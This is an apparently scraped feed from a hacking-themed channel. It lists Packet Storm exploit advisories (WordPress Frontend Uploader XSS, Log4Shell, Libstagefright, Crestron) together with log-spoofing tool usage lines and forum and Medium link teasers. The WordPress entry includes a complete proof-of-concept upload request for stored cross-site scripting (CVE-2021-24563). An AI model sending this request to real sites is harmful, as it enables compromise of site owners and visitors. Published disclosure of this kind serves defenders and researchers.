.py banking –server-fqdn pwnedbank.co.uk –attack-type command_injection –server-type NGINX

The following example will create a set of logs with 5000 routine sessions and 3 attack sessions

python pwnspoof.py banking –session-count 5000 –spoofed-attacks 3

The following example will create a set of logs and output the attackers IP addresses

python pwnspoof.py banking –spoofed-attacks 3 –iocs Download

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
DMCA.com Improper Access Control / Cross Site Scripting

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
DMCA.com suffers from improper access control, persistent cross site scripting, and improper input validation vulnerabilities.

MD5 | de3eab0ce1d4e59fca59fb8cb0848dc7

Download
Publisher: Joel Aviad Ossi

Company: Pentest
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Frontend Uploader 1.3.2 Cross Site Scripting

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
WordPress Frontend Uploader plugin version 1.3.2 suffers from a persistent cross site scripting vulnerability.

MD5 | 745c79898a3cfd95a9dc57face0360b2

Download
# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE : CVE-2021-24563

# References:

https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1

# Description:

The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly
# Proof Of Concept:
POST /wp-admin/admin-ajax.php HTTP/1.1

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=---------------------------124662954015823207281179831654

Content-Length: 1396

Connection: close

Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_ID"
1247

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_title"
test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_content"
test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="files[]"; filename="xss.html"

Content-Type: text/html
-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="action"
upload_ugc

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_layout"
image

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="fu_nonce"
021fb612f9

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_post_id"
1247

-----------------------------124662954015823207281179831654--
Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Crestron HD-MD4X2-4K-E 1.0.0.2159 Credential Disclosure

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Log4Shell HTTP Header Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Libstagefright Heap Out-Of-Bounds Write

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
Libstagefright, the media framework on Android, suffers from an out-of-bounds write vulnerability on the heap.

MD5 | ffff8660f32b4b8c6d18f4ae57ace71b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Amish Hackers

https://external-preview.redd.it/wCG_PsiDvK7OuuHUcsAZvSxyrsqKg-y-3mo4wvgC4pA.jpg?width=640&crop=smart&auto=webp&s=c026e973c519bc5dfde49c19045e9738a421e9ec submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Any suggestions for the new “sweet spot” for used thinkpads

Like the title says, does anyone have any thoughts on what thinkpads currently offer the best performance for the best price for hacking? It’s all your opinion there’s no right or wrong answer.

submitted by /u/big-sexy89
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
LCX Hack Ocak 2022

https://cdn-images-1.medium.com/max/1200/1*-amLd6flG3ugLZPEZkWvSg.png
Ocak 2022'nin başlangıcı, kripto borsası LCX için zorluydu . LCX tarafından yayınlanan olay raporunda sağlanan ön tahminlere göre…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Full Technical Report on Attacks

https://cdn-images-1.medium.com/max/2600/1*6k4w43Qh07WXdqOAuv3Ozw.png
We have completed compiling all technical reports about the exploits in the Tinyman v1 pools.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Security Researcher Remotely Hacks Into 25+ Tesla Vehicles Worldwide

https://cdn-images-1.medium.com/max/1280/1*ekSOJFBQawOemRtrfQQNPg.jpeg
A professional teenage hacker has found a security exploit within Tesla’s ecosystem that he claims to have allowed him access to over 25…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video